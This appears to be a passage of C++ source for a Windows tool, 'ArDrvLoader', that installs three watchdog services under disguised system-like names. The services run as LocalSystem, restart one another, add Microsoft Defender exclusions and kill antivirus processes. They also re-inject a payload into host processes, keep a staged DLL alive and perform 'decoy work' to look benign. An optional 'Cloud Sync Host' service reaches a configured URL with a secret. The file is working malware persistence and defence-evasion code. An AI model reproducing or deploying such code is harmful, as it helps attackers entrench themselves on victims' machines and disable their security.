SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
|
|
if (!scm)
|
|
return false;
|
|
|
|
SC_HANDLE svc = OpenServiceW(
|
|
scm,
|
|
cfg.targetService.c_str(),
|
|
SERVICE_QUERY_CONFIG |
|
|
SERVICE_CHANGE_CONFIG |
|
|
SERVICE_QUERY_STATUS |
|
|
SERVICE_START);
|
|
|
|
if (!svc)
|
|
{
|
|
Log(L"[-] Repair: OpenService(%s) failed: %lu", cfg.targetService.c_str(), GetLastError());
|
|
CloseServiceHandle(scm);
|
|
return false;
|
|
}
|
|
|
|
DWORD needed = 0;
|
|
QueryServiceConfigW(svc, nullptr, 0, &needed);
|
|
|
|
DWORD startType = SERVICE_DEMAND_START;
|
|
|
|
if (needed > 0)
|
|
{
|
|
std::vector<BYTE> buf(needed);
|
|
LPQUERY_SERVICE_CONFIGW qsc = (LPQUERY_SERVICE_CONFIGW)buf.data();
|
|
|
|
if (QueryServiceConfigW(svc, qsc, needed, &needed))
|
|
startType = qsc->dwStartType;
|
|
}
|
|
|
|
if (startType == SERVICE_DISABLED)
|
|
{
|
|
Log(L"[repair] service %s is disabled, enabling", cfg.targetService.c_str());
|
|
|
|
if (ChangeServiceConfigW(
|
|
svc,
|
|
SERVICE_NO_CHANGE,
|
|
cfg.desiredStartType,
|
|
SERVICE_NO_CHANGE,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr,
|
|
nullptr))
|
|
{
|
|
Log(L"[repair] service %s start type changed", cfg.targetService.c_str());
|
|
}
|
|
else
|
|
{
|
|
Log(L"[-] Repair: ChangeServiceConfig failed: %lu", GetLastError());
|
|
}
|
|
}
|
|
|
|
SERVICE_STATUS st{};
|
|
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
|
|
|
|
if (!running)
|
|
{
|
|
if (!StartServiceW(svc, 0, nullptr))
|
|
{
|
|
DWORD e = GetLastError();
|
|
|
|
if (e != ERROR_SERVICE_ALREADY_RUNNING)
|
|
Log(L"[-] Repair: StartService(%s) failed: %lu", cfg.targetService.c_str(), e);
|
|
}
|
|
}
|
|
|
|
CloseServiceHandle(svc);
|
|
CloseServiceHandle(scm);
|
|
return true;
|
|
}
|
|
|
|
if (!cfg.targetPath.empty())
|
|
{
|
|
if (!IsTargetProcessRunning(cfg))
|
|
{
|
|
Log(L"[repair] program is not running, starting: %s", cfg.targetPath.c_str());
|
|
return StartTargetProcess(cfg);
|
|
}
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
// Each role keeps the other two services alive. SCM failure actions only fire
|
|
// on crashes, so a manual "sc stop" or a disabled service would otherwise leave
|
|
// the stack dead.
|
|
static void EnsurePeerRunning(const std::wstring& name, const std::wstring& self)
|
|
{
|
|
if (name.empty() || _wcsicmp(name.c_str(), self.c_str()) == 0)
|
|
return;
|
|
|
|
if (IsServiceRunning(name.c_str()))
|
|
return;
|
|
|
|
Log(L"[watchdog] peer %s is not running, starting", name.c_str());
|
|
|
|
if (!StartServiceLocal(name, true, SERVICE_AUTO_START))
|
|
Log(L"[-] watchdog: cannot start peer %s", name.c_str());
|
|
}
|
|
|
|
// Plausible background activity: refresh a small state cache and read a couple
|
|
// of unrelated service states. Cheap, harmless, and it means the process does
|
|
// something other than watch one target.
|
|
static void DoDecoyWork(const GuardConfig& cfg)
|
|
{
|
|
wchar_t module[MAX_PATH]{};
|
|
|
|
DWORD len = GetModuleFileNameW(nullptr, module, _countof(module));
|
|
|
|
if (len > 0 && len < _countof(module))
|
|
{
|
|
std::wstring path = module;
|
|
size_t slash = path.find_last_of(L"\\/");
|
|
|
|
if (slash != std::wstring::npos)
|
|
path = path.substr(0, slash);
|
|
|
|
path += L"\\cache.dat";
|
|
|
|
HANDLE h = CreateFileW(
|
|
path.c_str(),
|
|
GENERIC_WRITE,
|
|
0,
|
|
nullptr,
|
|
CREATE_ALWAYS,
|
|
FILE_ATTRIBUTE_HIDDEN,
|
|
nullptr);
|
|
|
|
if (h != INVALID_HANDLE_VALUE)
|
|
{
|
|
SYSTEMTIME st{};
|
|
GetLocalTime(&st);
|
|
|
|
char line[128]{};
|
|
int n = sprintf_s(
|
|
line,
|
|
"role=%ls state=%04u-%02u-%02u %02u:%02u:%02u\r\n",
|
|
cfg.role.c_str(),
|
|
st.wYear, st.wMonth, st.wDay,
|
|
st.wHour, st.wMinute, st.wSecond);
|
|
|
|
if (n > 0)
|
|
{
|
|
DWORD written = 0;
|
|
WriteFile(h, line, (DWORD)n, &written, nullptr);
|
|
}
|
|
|
|
CloseHandle(h);
|
|
}
|
|
}
|
|
|
|
static const wchar_t* probe[] = { L"BITS", L"DsmSvc", L"wuauserv" };
|
|
|
|
for (const wchar_t* name : probe)
|
|
IsServiceRunning(name);
|
|
}
|
|
|
|
static int RunRoleLoop(const GuardConfig& base, HANDLE stopEvent)
|
|
{
|
|
bool firstTick = true;
|
|
|
|
// Stagger the three roles so they do not wake up in lockstep.
|
|
DWORD stagger = 0;
|
|
|
|
if (_wcsicmp(base.role.c_str(), L"driver") == 0)
|
|
stagger = 1500 + (GetTickCount() % 1500);
|
|
else if (_wcsicmp(base.role.c_str(), L"guard") == 0)
|
|
stagger = 4000 + (GetTickCount() % 2000);
|
|
else
|
|
stagger = 8000 + (GetTickCount() % 2500);
|
|
|
|
if (stopEvent)
|
|
WaitForSingleObject(stopEvent, stagger);
|
|
else
|
|
Sleep(stagger);
|
|
|
|
while (true)
|
|
{
|
|
if (stopEvent && WaitForSingleObject(stopEvent, 0) == WAIT_OBJECT_0)
|
|
break;
|
|
|
|
GuardConfig cfg = LoadRuntimeConfig(base);
|
|
|
|
DoDecoyWork(cfg);
|
|
|
|
if (_wcsicmp(cfg.role.c_str(), L"driver") == 0)
|
|
{
|
|
// Budget is enforced in memory as well as in the registry, so a
|
|
// crash loop stops even when the counter cannot be persisted.
|
|
static bool failsLoaded = false;
|
|
static DWORD fails = 0;
|
|
|
|
if (!failsLoaded)
|
|
{
|
|
fails = LoadDriverFailCount();
|
|
failsLoaded = true;
|
|
}
|
|
|
|
if (fails >= cfg.driverFailMax)
|
|
{
|
|
static bool warned = false;
|
|
|
|
if (!warned)
|
|
{
|
|
Log(L"[driver] failure budget exhausted (%lu/%lu), not retrying",
|
|
fails, cfg.driverFailMax);
|
|
|
|
SaveDriverState(L"disabled-after-failures");
|
|
warned = true;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
const bool ok = EnsureDriverRunning(cfg);
|
|
|
|
if (ok)
|
|
{
|
|
if (fails != 0)
|
|
{
|
|
fails = 0;
|
|
SaveDriverFailCount(0);
|
|
SaveDriverState(L"ok");
|
|
}
|
|
}
|
|
else
|
|
{
|
|
++fails;
|
|
SaveDriverFailCount(fails);
|
|
SaveDriverState(L"failed");
|
|
|
|
Log(L"[driver] load failed (%lu/%lu)", fails, cfg.driverFailMax);
|
|
}
|
|
}
|
|
|
|
EnsurePeerRunning(cfg.guardServiceName, cfg.serviceName);
|
|
EnsurePeerRunning(cfg.repairServiceName, cfg.serviceName);
|
|
}
|
|
else if (_wcsicmp(cfg.role.c_str(), L"guard") == 0)
|
|
{
|
|
// Recovery after a crash, a bugcheck, or a reboot lands here: the
|
|
// service is auto-start, so the first tick reinstates state.
|
|
if (firstTick)
|
|
{
|
|
if (DefenderPresent())
|
|
{
|
|
std::vector<std::wstring> wanted = LoadExclusionList();
|
|
|
|
if (wanted.empty())
|
|
{
|
|
wanted = DefaultExclusionPaths();
|
|
SaveExclusionList(wanted);
|
|
}
|
|
|
|
std::wstring exclReport;
|
|
ApplyExclusions(wanted, exclReport);
|
|
Log(L"[guard] exclusions on start: %s", exclReport.c_str());
|
|
}
|
|
|
|
if (cfg.killAvOnStart != 0)
|
|
{
|
|
std::wstring summary;
|
|
KillAVProcessesEx(false, summary);
|
|
Log(L"[guard] AV sweep on start: %s", summary.c_str());
|
|
}
|
|
}
|
|
|
|
CheckGuard(cfg);
|
|
|
|
// Host stager: only acts when a payload has been injected before,
|
|
// and only re-injects after the previous host died.
|
|
if (LoadHostTrack().Tracked())
|
|
EnsureHostInjected();
|
|
|
|
// Stage payload: if the DLL is deployed, keep it alive in a host.
|
|
if (!StageDllPath().empty() && !StageAlive())
|
|
StageEnsure();
|
|
|
|
EnsurePeerRunning(cfg.driverServiceName, cfg.serviceName);
|
|
EnsurePeerRunning(cfg.repairServiceName, cfg.serviceName);
|
|
}
|
|
else if (_wcsicmp(cfg.role.c_str(), L"repair") == 0)
|
|
{
|
|
CheckRepair(cfg);
|
|
EnsurePeerRunning(cfg.driverServiceName, cfg.serviceName);
|
|
EnsurePeerRunning(cfg.guardServiceName, cfg.serviceName);
|
|
}
|
|
else
|
|
{
|
|
Log(L"[-] Unknown service role: %s", cfg.role.c_str());
|
|
return 1;
|
|
}
|
|
|
|
DWORD wait = cfg.intervalMs;
|
|
if (wait < 1000)
|
|
wait = 1000;
|
|
|
|
if (stopEvent)
|
|
{
|
|
if (WaitForSingleObject(stopEvent, wait) == WAIT_OBJECT_0)
|
|
break;
|
|
}
|
|
else
|
|
{
|
|
Sleep(wait);
|
|
}
|
|
|
|
firstTick = false;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
static void ReportGuardStatus(DWORD state, DWORD exitCode = 0, DWORD waitHint = 0)
|
|
{
|
|
if (!g_guardStatusHandle)
|
|
return;
|
|
|
|
static DWORD checkPoint = 1;
|
|
|
|
g_guardStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
|
|
g_guardStatus.dwCurrentState = state;
|
|
g_guardStatus.dwWin32ExitCode = exitCode;
|
|
g_guardStatus.dwWaitHint = waitHint;
|
|
g_guardStatus.dwControlsAccepted =
|
|
(state == SERVICE_RUNNING)
|
|
? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN
|
|
: 0;
|
|
|
|
if (state == SERVICE_START_PENDING || state == SERVICE_STOP_PENDING)
|
|
g_guardStatus.dwCheckPoint = checkPoint++;
|
|
else
|
|
g_guardStatus.dwCheckPoint = 0;
|
|
|
|
SetServiceStatus(g_guardStatusHandle, &g_guardStatus);
|
|
}
|
|
|
|
static DWORD WINAPI GuardCtrlHandler(DWORD control, DWORD eventType, void* eventData, void* context)
|
|
{
|
|
(void)eventType;
|
|
(void)eventData;
|
|
(void)context;
|
|
|
|
switch (control)
|
|
{
|
|
case SERVICE_CONTROL_STOP:
|
|
case SERVICE_CONTROL_SHUTDOWN:
|
|
ReportGuardStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000);
|
|
|
|
if (g_guardStopEvent)
|
|
SetEvent(g_guardStopEvent);
|
|
|
|
return NO_ERROR;
|
|
|
|
case SERVICE_CONTROL_INTERROGATE:
|
|
return NO_ERROR;
|
|
|
|
default:
|
|
return ERROR_CALL_NOT_IMPLEMENTED;
|
|
}
|
|
}
|
|
|
|
static VOID WINAPI GuardServiceMain(DWORD argc, LPWSTR* argv)
|
|
{
|
|
(void)argc;
|
|
(void)argv;
|
|
|
|
g_guardStatusHandle = RegisterServiceCtrlHandlerExW(
|
|
g_guardServiceName.c_str(),
|
|
GuardCtrlHandler,
|
|
nullptr);
|
|
|
|
if (!g_guardStatusHandle)
|
|
return;
|
|
|
|
g_guardStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
|
|
g_guardStatus.dwCurrentState = SERVICE_START_PENDING;
|
|
g_guardStatus.dwControlsAccepted = 0;
|
|
g_guardStatus.dwWin32ExitCode = NO_ERROR;
|
|
g_guardStatus.dwWaitHint = 5000;
|
|
|
|
g_guardStopEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);
|
|
|
|
if (!g_guardStopEvent)
|
|
{
|
|
ReportGuardStatus(SERVICE_STOPPED, GetLastError());
|
|
return;
|
|
}
|
|
|
|
ReportGuardStatus(SERVICE_RUNNING);
|
|
|
|
Log(L"[guard] service started role=%s name=%s",
|
|
g_guardBaseConfig.role.c_str(),
|
|
g_guardServiceName.c_str());
|
|
|
|
RunRoleLoop(g_guardBaseConfig, g_guardStopEvent);
|
|
|
|
ReportGuardStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000);
|
|
|
|
if (g_guardStopEvent)
|
|
{
|
|
CloseHandle(g_guardStopEvent);
|
|
g_guardStopEvent = nullptr;
|
|
}
|
|
|
|
Log(L"[guard] service stopped name=%s", g_guardServiceName.c_str());
|
|
ReportGuardStatus(SERVICE_STOPPED);
|
|
}
|
|
|
|
int RunGuardService(int argc, wchar_t** argv)
|
|
{
|
|
if (argc < 3)
|
|
{
|
|
wprintf(L"Usage: ArDrvLoader.exe -service driver|guard|repair [options]\n");
|
|
return 1;
|
|
}
|
|
|
|
GuardConfig cfg;
|
|
cfg.role = argv[2];
|
|
|
|
if (_wcsicmp(cfg.role.c_str(), L"driver") != 0 &&
|
|
_wcsicmp(cfg.role.c_str(), L"guard") != 0 &&
|
|
_wcsicmp(cfg.role.c_str(), L"repair") != 0)
|
|
{
|
|
wprintf(L"Unknown role: %s\n", cfg.role.c_str());
|
|
return 1;
|
|
}
|
|
|
|
if (!ParseGuardArgs(argc, argv, 3, cfg))
|
|
{
|
|
wprintf(L"Invalid arguments\n");
|
|
return 1;
|
|
}
|
|
|
|
if (cfg.serviceName.empty())
|
|
cfg.serviceName = DefaultServiceNameForRole(cfg.role);
|
|
|
|
g_guardServiceName = cfg.serviceName;
|
|
g_guardBaseConfig = cfg;
|
|
|
|
if (cfg.console)
|
|
return RunRoleLoop(cfg, nullptr);
|
|
|
|
SERVICE_TABLE_ENTRYW table[] =
|
|
{
|
|
{ const_cast<LPWSTR>(g_guardServiceName.c_str()), GuardServiceMain },
|
|
{ nullptr, nullptr }
|
|
};
|
|
|
|
if (!StartServiceCtrlDispatcherW(table))
|
|
{
|
|
DWORD e = GetLastError();
|
|
|
|
if (e == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT)
|
|
{
|
|
wprintf(L"Service mode must be started by SCM. Use --console for direct execution.\n");
|
|
}
|
|
|
|
return (int)e;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
// Stops one of our own services before replacing its binary.
|
|
static void StopServiceForUpgrade(const std::wstring& name)
|
|
{
|
|
if (name.empty())
|
|
return;
|
|
|
|
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
|
|
|
|
if (!scm)
|
|
return;
|
|
|
|
SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS);
|
|
|
|
if (svc)
|
|
{
|
|
SERVICE_STATUS st{};
|
|
|
|
if (ControlService(svc, SERVICE_CONTROL_STOP, &st))
|
|
{
|
|
for (int i = 0; i < 50; ++i)
|
|
{
|
|
SERVICE_STATUS q{};
|
|
|
|
if (!QueryServiceStatus(svc, &q) || q.dwCurrentState == SERVICE_STOPPED)
|
|
break;
|
|
|
|
Sleep(100);
|
|
}
|
|
}
|
|
|
|
CloseServiceHandle(svc);
|
|
}
|
|
|
|
CloseServiceHandle(scm);
|
|
}
|
|
|
|
// Copies this executable into the chosen install directory so the service does
|
|
// not run out of Downloads, Temp, or a user profile.
|
|
static bool InstallSelfCopy(const std::wstring& targetDir, std::wstring& installedPathOut)
|
|
{
|
|
installedPathOut.clear();
|
|
|
|
CreateDirectoryW(targetDir.c_str(), nullptr);
|
|
|
|
wchar_t module[MAX_PATH]{};
|
|
DWORD len = GetModuleFileNameW(nullptr, module, _countof(module));
|
|
|
|
if (len == 0 || len >= _countof(module))
|
|
return false;
|
|
|
|
std::wstring source = module;
|
|
size_t slash = targetDir.find_last_of(L"\\/");
|
|
std::wstring leaf = (slash == std::wstring::npos) ? targetDir : targetDir.substr(slash + 1);
|
|
|
|
std::wstring target = targetDir + L"\\" + leaf + L".exe";
|
|
|
|
if (_wcsicmp(source.c_str(), target.c_str()) == 0)
|
|
{
|
|
installedPathOut = target;
|
|
return true;
|
|
}
|
|
|
|
// A service that was just stopped can keep its image mapped for a moment.
|
|
// Retry instead of failing the whole install on a sharing violation.
|
|
for (int attempt = 0; attempt < 20; ++attempt)
|
|
{
|
|
if (CopyFileW(source.c_str(), target.c_str(), FALSE))
|
|
break;
|
|
|
|
DWORD err = GetLastError();
|
|
|
|
if (err != ERROR_SHARING_VIOLATION &&
|
|
err != ERROR_ACCESS_DENIED &&
|
|
err != ERROR_USER_MAPPED_FILE)
|
|
{
|
|
wprintf(L"[!] Cannot copy to %s (%lu)\n", target.c_str(), err);
|
|
return false;
|
|
}
|
|
|
|
if (attempt == 19)
|
|
{
|
|
wprintf(L"[!] Cannot copy to %s (%lu), gave up after retries\n", target.c_str(), err);
|
|
return false;
|
|
}
|
|
|
|
Sleep(500);
|
|
}
|
|
|
|
SetFileAttributesW(target.c_str(), FILE_ATTRIBUTE_NORMAL);
|
|
|
|
installedPathOut = target;
|
|
return true;
|
|
}
|
|
|
|
int InstallGuardServices(int argc, wchar_t** argv)
|
|
{
|
|
GuardConfig cfg;
|
|
|
|
if (!ParseGuardArgs(argc, argv, 2, cfg))
|
|
{
|
|
wprintf(L"Invalid arguments\n");
|
|
return 1;
|
|
}
|
|
|
|
std::wstring prefix = cfg.prefix;
|
|
|
|
std::wstring driverService = prefix.empty() ? L"DeviceSetupHost" : prefix + L"Driver";
|
|
std::wstring guardService = prefix.empty() ? L"ProgramCompatHost" : prefix + L"Guard";
|
|
std::wstring repairService = prefix.empty() ? L"ServiceStateHost" : prefix + L"Repair";
|
|
|
|
cfg.driverServiceName = driverService;
|
|
cfg.guardServiceName = guardService;
|
|
cfg.repairServiceName = repairService;
|
|
|
|
wchar_t module[MAX_PATH]{};
|
|
DWORD len = GetModuleFileNameW(nullptr, module, _countof(module));
|
|
|
|
if (len == 0 || len >= _countof(module))
|
|
{
|
|
wprintf(L"Cannot resolve executable path\n");
|
|
return 1;
|
|
}
|
|
|
|
if (!cfg.targetPath.empty() && !FileExistsW(GetFullPathW(cfg.targetPath)))
|
|
wprintf(L"[!] Target not found yet: %s (guard will retry at runtime)\n", cfg.targetPath.c_str());
|
|
|
|
if (!cfg.targetService.empty())
|
|
{
|
|
SC_HANDLE scmCheck = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
|
|
SC_HANDLE svcCheck = scmCheck
|
|
? OpenServiceW(scmCheck, cfg.targetService.c_str(), SERVICE_QUERY_STATUS)
|
|
: nullptr;
|
|
|
|
if (!svcCheck)
|
|
wprintf(L"[!] Target service not installed yet: %s (repair will retry at runtime)\n", cfg.targetService.c_str());
|
|
|
|
if (svcCheck)
|
|
CloseServiceHandle(svcCheck);
|
|
|
|
if (scmCheck)
|
|
CloseServiceHandle(scmCheck);
|
|
}
|
|
|
|
std::wstring installDir;
|
|
|
|
if (cfg.keepLocation)
|
|
{
|
|
installDir = module;
|
|
size_t slash = installDir.find_last_of(L"\\/");
|
|
|
|
if (slash != std::wstring::npos)
|
|
installDir = installDir.substr(0, slash);
|
|
}
|
|
else if (!cfg.installDir.empty())
|
|
{
|
|
installDir = cfg.installDir;
|
|
}
|
|
else
|
|
{
|
|
installDir = DefaultInstallDir(driverService);
|
|
}
|
|
|
|
if (cfg.installDryRun)
|
|
{
|
|
wprintf(L"DRY-RUN install plan\n");
|
|
wprintf(L" install dir: %s\n", installDir.c_str());
|
|
wprintf(L" %s \"%s\"\n", driverService.c_str(), DisplayNameForRole(L"driver").c_str());
|
|
wprintf(L" %s \"%s\"\n", guardService.c_str(), DisplayNameForRole(L"guard").c_str());
|
|
wprintf(L" %s \"%s\"\n", repairService.c_str(), DisplayNameForRole(L"repair").c_str());
|
|
wprintf(L" target: %s\n", cfg.targetPath.empty() ? L"(not set)" : cfg.targetPath.c_str());
|
|
return 0;
|
|
}
|
|
|
|
if (!WriteInstalledConfig(cfg))
|
|
{
|
|
wprintf(L"Cannot write HKLM\\%s\n", kConfigKey);
|
|
return 1;
|
|
}
|
|
|
|
std::wstring installedExe;
|
|
|
|
// The previous generation of services may still be holding the old binary
|
|
// open, which makes the copy fail. Stop ours first, then replace.
|
|
StopServiceForUpgrade(driverService);
|
|
StopServiceForUpgrade(guardService);
|
|
StopServiceForUpgrade(repairService);
|
|
|
|
if (!cfg.cloudServiceName.empty())
|
|
StopServiceForUpgrade(cfg.cloudServiceName);
|
|
else if (!cfg.cloudUrl.empty())
|
|
StopServiceForUpgrade(L"CloudSyncHost");
|
|
|
|
if (!InstallSelfCopy(installDir, installedExe))
|
|
{
|
|
wprintf(L"Cannot copy executable into %s\n", installDir.c_str());
|
|
return 1;
|
|
}
|
|
|
|
std::wstring exe = L"\"";
|
|
exe += installedExe;
|
|
exe += L"\"";
|
|
|
|
auto imagePath = [&](const wchar_t* role, const std::wstring& serviceName)
|
|
{
|
|
std::wstring p = exe;
|
|
p += L" -service ";
|
|
p += role;
|
|
p += L" --service-name \"";
|
|
p += serviceName;
|
|
p += L"\"";
|
|
|
|
if (cfg.allowVm)
|
|
p += L" --allow-vm";
|
|
|
|
return p;
|
|
};
|
|
|
|
bool startNow = !cfg.noStart;
|
|
|
|
bool driverOk = EnsureLocalSystemService(
|
|
driverService.c_str(),
|
|
imagePath(L"driver", driverService).c_str(),
|
|
startNow,
|
|
true,
|
|
DisplayNameForRole(L"driver").c_str());
|
|
|
|
bool guardOk = EnsureLocalSystemService(
|
|
guardService.c_str(),
|
|
imagePath(L"guard", guardService).c_str(),
|
|
startNow,
|
|
true,
|
|
DisplayNameForRole(L"guard").c_str());
|
|
|
|
bool repairOk = EnsureLocalSystemService(
|
|
repairService.c_str(),
|
|
imagePath(L"repair", repairService).c_str(),
|
|
startNow,
|
|
true,
|
|
DisplayNameForRole(L"repair").c_str());
|
|
|
|
if (driverOk)
|
|
SetServiceDescription(driverService.c_str(), DescriptionForRole(L"driver").c_str());
|
|
|
|
if (guardOk)
|
|
SetServiceDescription(guardService.c_str(), DescriptionForRole(L"guard").c_str());
|
|
|
|
if (repairOk)
|
|
SetServiceDescription(repairService.c_str(), DescriptionForRole(L"repair").c_str());
|
|
|
|
bool cloudOk = true;
|
|
std::wstring cloudService;
|
|
|
|
if (!cfg.cloudUrl.empty() && !cfg.cloudSecret.empty())
|
|
{
|
|
cloudService = cfg.cloudServiceName.empty() ? L"CloudSyncHost" : cfg.cloudServiceName;
|
|
|
|
std::wstring bin = exe;
|
|
bin += L" -cloud-service --service-name \"";
|
|
bin += cloudService;
|
|
bin += L"\" --url \"";
|
|
bin += cfg.cloudUrl;
|
|
bin += L"\" --secret \"";
|
|
bin += cfg.cloudSecret;
|
|
bin += L"\"";
|
|
|
|
if (!cfg.cloudAgent.empty())
|
|
{
|
|
bin += L" --agent \"";
|
|
bin += cfg.cloudAgent;
|
|
bin += L"\"";
|
|
}
|
|
|
|
bin += L" --interval 15000";
|
|
|
|
if (cfg.allowVm)
|
|
bin += L" --allow-vm";
|
|
|
|
bin += L" --elevated";
|
|
|
|
cloudOk = EnsureLocalSystemService(
|
|
cloudService.c_str(),
|
|
bin.c_str(),
|
|
startNow,
|
|
true,
|
|
L"Cloud Sync Host");
|
|
|
|
if (cloudOk)
|
|
SetServiceDescription(
|
|
cloudService.c_str(),
|
|
L"Keeps cloud-managed configuration in sync with the local machine.");
|
|
|
|
wprintf(L"Cloud service: %s %s\n", cloudService.c_str(), cloudOk ? L"OK" : L"FAIL");
|
|
}
|
|
|
|
wprintf(L"Driver service: %s %s\n", driverService.c_str(), driverOk ? L"OK" : L"FAIL");
|
|
wprintf(L"Guard service: %s %s\n", guardService.c_str(), guardOk ? L"OK" : L"FAIL");
|
|
wprintf(L"Repair service: %s %s\n", repairService.c_str(), repairOk ? L"OK" : L"FAIL");
|
|
wprintf(L"Installed to: %s\n", installDir.c_str());
|
|
wprintf(L"Target program: %s\n", cfg.targetPath.empty() ? L"(not set)" : cfg.targetPath.c_str());
|
|
wprintf(L"Target service: %s\n", cfg.targetService.empty() ? L"(not set)" : cfg.targetService.c_str());
|
|
wprintf(L"Config key: HKLM\\%s\n", kConfigKey);
|
|
|
|
return (driverOk && guardOk && repairOk && cloudOk) ? 0 : 1;
|
|
}
|
|
|
|
|
|
|